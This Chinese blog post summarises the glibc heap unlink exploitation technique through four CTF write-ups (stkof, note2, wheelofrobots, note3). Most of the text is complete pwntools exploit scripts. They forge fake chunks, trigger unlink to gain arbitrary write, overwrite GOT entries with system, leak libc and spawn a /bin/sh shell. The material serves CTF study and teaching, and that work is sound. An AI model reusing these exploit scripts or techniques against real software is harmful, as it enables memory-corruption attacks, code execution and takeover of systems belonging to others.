美文网首页
heap unlink总结

heap unlink总结

作者: fIappy | 来源:发表于2019-01-07 18:17 被阅读0次

由于unlink的检查,一般利用存储堆地址的地方(可能是个全局数组,全局变量或者其他下次能访问的地方)的地址-0x18 赋值给fd,-0x10赋值给bk(64位情况下,32位下分别是-0xc,-0x8), 然后构造unlink后该地址存储的堆地址被修改为该地址-0x18的地方,于是再操作目标堆就变成操作该地址-0x18上面的数据,达到了修改

1.实例2014 HITCON stkof
题目分析
(1)可以指定大小分配内存
(2)分配的内存的地址存储在全局数组中
(3)修改时可以写入任意长度数据,导致堆溢出,这里可以主动触发unlink

总结:
由堆溢出修改下一个chunk的inuse和prev_size并释放下一个chunk,导致对该chunk的unlink操作.
exp:

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


def exp():
    # trigger to malloc buffer for io function
    alloc(0x100)  # idx 1
    # begin
    alloc(0x30)  # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80)  # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0)  #prev_size
    payload += p64(0x20)  #size
    payload += p64(head + 16 - 0x18)  #fd
    payload += p64(head + 16 - 0x10)  #bk
    payload += p64(0x20)  # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')
    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)
    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)
    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #gdb.attach(p)
    # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
        stkof.got['atoi'])
    edit(2, len(payload), payload)
    # edit free@got to puts@plt
    payload = p64(stkof.plt['puts'])
    edit(0, len(payload), payload)

    #free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))
    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


if __name__ == "__main__":
    exp()

2.实例2016 ZCTF note2

题目分析
1.myread里面有整数下溢出,可导致堆溢出
2.分配的内存指针存储在全局变量数组
3.和上一个例子差不多,通过堆溢出修改chunk关键字段,free某个chunk时主动触发unlink,从而可以修改堆数组
4.利用atoi的got覆盖为system,好处在于可以输入字符串参数/bin/sh直接调用,不用构造这个参数了
exp:

# coding=UTF-8
from pwn import *

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))


p.recvuntil('name:')
p.sendline('hello')
p.recvuntil('address:')
p.sendline('hello')

# chunk0: a fake chunk
ptr = 0x0000000000602120#程序中用来存储各个note的地址
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
gdb.attach(p)
newnote(128, content)

# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(p)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)#此时视为chunk2后面的0xa0大小部分为未使用的,故发生合并操作,合并之前需要对其unlink

# overwrite the chunk0(which is ptr[0]) with got atoi
#got表地址是直接可以用的,因此将atoigot表地址覆盖note1地址,这样读取的时候会将atoi真正地址读取出来
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']#再结合符号表中atoi对libc的偏移即可得到libc基址
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']#同时又可以获得system真正的地址
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)#通过编辑note1将system地址写入到atoi 的got表

# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')#再次触发执行atoi并将此次输入作为参数,而真正调用的是system,故能getshell
p.interactive()

3.实例2017 insomni'hack wheelofrobots
程序逻辑比较复杂,robots和wheel,给robots添加wheel,这个robots不用管它,添加wheel时,有几种类型:
bender
chain
destructor
tinny
devil
ire

最多分配2个wheel,不能2个是同类型的wheel,每次分配前每个类型的wheel有对应的全局标识变量标识是否已经被分配过一次,每次分配的指针存储在全局变量,这些全局变量在bss连续挨着的.
其中只有bender,destructor和devil类型的wheel可以设置自定义大小
可以修改这些wheel的堆内容
可以查看某个wheel的堆地址

全局变量的off by one可以修改bender的是否已经被使用的标识变量
在这里将标识修改,从而释放后重引用,将fd修改为destructor size处,再次分配得到处于destructor size地址的堆,从而可以修改destructor size,再对destructor 堆进行溢出,实现unlink,对destructor 修改相当于修改这些堆指针,修改tinny指针指向destructor 地址,
这样再次修改destructor 实现任意地址写任意数据
exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./wheelofrobots"
robots = ELF('./wheelofrobots')
if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
else:
    p = process("./wheelofrobots")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4  # lock
    offset += 4  # flags
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset


def add(idx, size=0):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    if idx == 2:
        p.recvuntil("Increase Bender's intelligence: ")
        p.sendline(str(size))
    elif idx == 3:
        p.recvuntil("Increase Robot Devil's cruelty: ")
        p.sendline(str(size))
    elif idx == 6:
        p.recvuntil("Increase Destructor's powerful: ")
        p.sendline(str(size))


def remove(idx):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))


def change(idx, name):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Your choice :')
    p.sendline(str(idx))
    p.recvuntil("Robot's name: \n")
    p.send(name)


def start_robot():
    p.recvuntil('Your choice :')
    p.sendline('4')


def overflow_benderinuse(inuse):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Your choice :')
    p.send('9999' + inuse)


def write(where, what):
    change(1, p64(where))
    change(6, p64(what))


def exp():
    print "step 1"
    # add a fastbin chunk 0x20 and free it
    # so it is in fastbin, idx2->NULL
    add(2, 1)  # idx2
    remove(2)
    # overflow bender inuse with 1 
    #对optionnum进行溢出,将benderinuse覆盖为1
    overflow_benderinuse('\x01')
    # change bender's fd to 0x603138, point to bender's size
    # now fastbin 0x20, idx2->0x603138->NULL
    #根据ida 0x603138是bender's size地址
    change(2, p64(0x603138))
    # in order add bender again
    overflow_benderinuse('\x00')
    # add bender again, fastbin->0x603138->NULL
    add(2, 1)
    # in order to malloc chunk at 0x603138
    # we need to bypass the fastbin size check, i.e. set *0x603140=0x20
    # it is at Robot Devil
    #这个分配不会在fastbin里分配
    add(3, 0x20)#这里会将devil的size设置为0x20,而他的地址正好是0x603140
    # trigger malloc, set tinny point to 0x603148
    add(1)
    # wheels must <= 3
    remove(2)
    remove(3)

    print 'step 2'
    # alloc Destructor size 60->0x50, chunk content 0x40
    add(6, 3)
    # alloc devil, size=20*7=140, bigger than fastbin
    add(3, 7)
    # edit destructor's size to 1000 by tinny
    change(1, p64(1000))
    # place fake chunk at destructor's pointer
    fakechunk_addr = 0x6030E8
    fakechunk = p64(0) + p64(0x20) + p64(fakechunk_addr - 0x18) + p64(
        fakechunk_addr - 0x10) + p64(0x20)
    fakechunk = fakechunk.ljust(0x40, 'a')
    fakechunk += p64(0x40) + p64(0xa0)
    change(6, fakechunk)
    # trigger unlink,这个执行之后destructor指向自己的地址-0x18处,从而编辑destructor就会编辑到
    #tinny 的地址.
    remove(3)

    print 'step 3'
    # make 0x6030F8 point to 0x6030E8
    #所以这个地方将tinny 的地址0x6030F8的内容修改为0x6030E8,这时再修改tinny的描述,就会改掉destructor
    #的指向,实现了任意地址写任意数据
    payload = p64(0) * 2 + 0x18 * 'a' + p64(0x6030E8)
    change(6, payload)

    print 'step 4'
    # make exit just as return
    write(robots.got['exit'], 0x401954)

    print 'step 5'
    # set wheel cnt =3, 0x603130 in order to start robot
    write(0x603130, 3)
    # set destructor point to puts@got
    change(1, p64(robots.got['puts']))
    start_robot()
    p.recvuntil('New hands great!! Thx ')
    puts_addr = p.recvuntil('!\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    log.success('libc base: ' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    # make free->system
    write(robots.got['free'], system_addr)
    # make destructor point to /bin/sh addr
    write(0x6030E8, binsh_addr)
    # get shell
    remove(6)
    p.interactive()

    pass


if __name__ == "__main__":
    exp()

4.实例note3
题目分析
1.还是负数处理的问题,最高位为1,其余位为0时,则加负号也等于自己 if ( v1 < 0 ) v1 = -v1;
2.还是用一个数组存储堆指针.
3.通过修改第3个堆溢出第4个堆,然后free4堆,对第3个堆进行unlink,指向数组的第0项,修改第3项堆内容再修改第0项
实现任意地址写.
总之和note2差不多,只是导致堆溢出条件不同而已
exp:

#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
import time
def malloc(size,data):
    print conn.recvuntil('>>')
    conn.sendline('1')
    print conn.recvuntil('1024)')
    conn.sendline(str(size))
    print conn.recvuntil('content:')
    conn.sendline(data)
    print conn.recvuntil('\n')
def edit(id,data):
    print conn.recvuntil('>>')
    conn.sendline('3')
    print conn.recvuntil('note:')
    conn.sendline(str(id))
    print conn.recvuntil('ent:')
    conn.sendline(data)
    print conn.recvuntil('success')
def free(id):
    print conn.recvuntil('>>')
    conn.sendline('4')
    print conn.recvuntil('note:')
    conn.sendline(str(id))
    print conn.recvuntil('success')

#conn = remote('127.0.0.1',9999)
conn = process('./note3')
elf = ELF('./note3')
libc = conn.libc
free_got = elf.got['free']#p64(0x602018)
puts_got = elf.got['puts']#p64(0x602020)
#stack_got = elf.got['free']#p64(0x602038)
printf_got = elf.got['printf']#vp64(0x602030)
exit_got = elf.got['exit']#p64(0x602078)
printf_plt = elf.plt['printf']#p64(0x400750)
puts_plt = elf.plt['puts']#p64(0x400730)
#libcstartmain_ret_off = 0x21b45
#sys_off = 0x414f0
libcstartmain_ret_off = 0x20740
sys_off = 0x45390
# 1. int overflow lead to double free
intoverflow = -9223372036854775808
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
# 2. make a fake chunk and modify the next chunk's pre size
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
# 3. double free
free(4)
# 4. overwrite got
edit(3,p64(free_got))
#gdb.attach(conn)
#这里有个大坑,free的got和puts的got是挨着的,如果只覆盖一个会将\x00覆盖掉puts的低字节
#因为函数高字节的为0x00,所以可以改为p64(xxx)[:-2]避免写入太多字符覆盖到puts低字节
edit(0,p64(printf_plt)+p64(printf_plt))
# 5. leak the stack data
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
#free->puts
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
#time.sleep(0.3)
ret =  conn.recvuntil('success')
print ret
# 6. calcuate the system's addr
libcstart = ret.split('.')[10]

libcstart_2 = int(libcstart,16)-0xf0 
libcstart_2 = libcstart_2 - libcstartmain_ret_off
print 'libc start addr:',hex(libcstart_2)
system_addr = libcstart_2 + sys_off
print 'system_addr:',hex(system_addr)
#gdb.attach(conn)
# 7. overwrite free's got
edit(3,p64(free_got))
edit(0,p64(system_addr)+p64(printf_plt))    
# 8. write argv
edit(3,p64(0x6020d0))
edit(0,'/bin/sh\0')
# 9. exploit
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
sleep(0.2)
conn.interactive()

相关文章

  • heap unlink总结

    由于unlink的检查,一般利用存储堆地址的地方(可能是个全局数组,全局变量或者其他下次能访问的地方)的地址-0x...

  • unlink attack --how2heap unlink

    unlink 简介 unlink用于将 chunk 从所在的空闲链表中取出来。基本过程如下: 执行unlink时的...

  • unlink:

    堆入门---unlink的理解和各种题型总结 unlink主要是通过unlink来实现向任意地址写入,这题主要是想...

  • Glibc Heap 利用之初识 Unlink

    0x0 malloc_chunk 详解 在Glibc管理堆的过程中,无论一个内存块(chunk)是处于已分配状态还...

  • 文件目录操作其他(基于itop4412)

    1 删除文件目录链接 解除链接unlink• man 2 unlink• 解除链接函数• int unlink(c...

  • heap思路总结

    分析方法:全局变量位置布局: 哪些在.bss,哪些在.data,变量之间的关系哪些变量, 缓冲区, 数组,存储了哪...

  • heap exploit总结

    第二次学习heap exploit,虽说走了弯路,第一次一知半解,知道为啥会走弯路,也是有价值的。 相关资料总结:...

  • php删除文件

    php删除文件可以使用unlink函数 具体用法如下 unlink($filename);

  • Java堆(heap)、栈(stack)和队列的区别

    总结下在Java里面Heap和Stack分别存储数据的不同。 heap(堆): JVM的功能:内存数据区存储数据:...

  • unlink

    堆 pwn glibc中间维护的bins其实是用来存放malloc时从heap中割下来的堆,为了避免在heap中割...

网友评论

      本文标题:heap unlink总结

      本文链接:https://www.haomeiwen.com/subject/acturqtx.html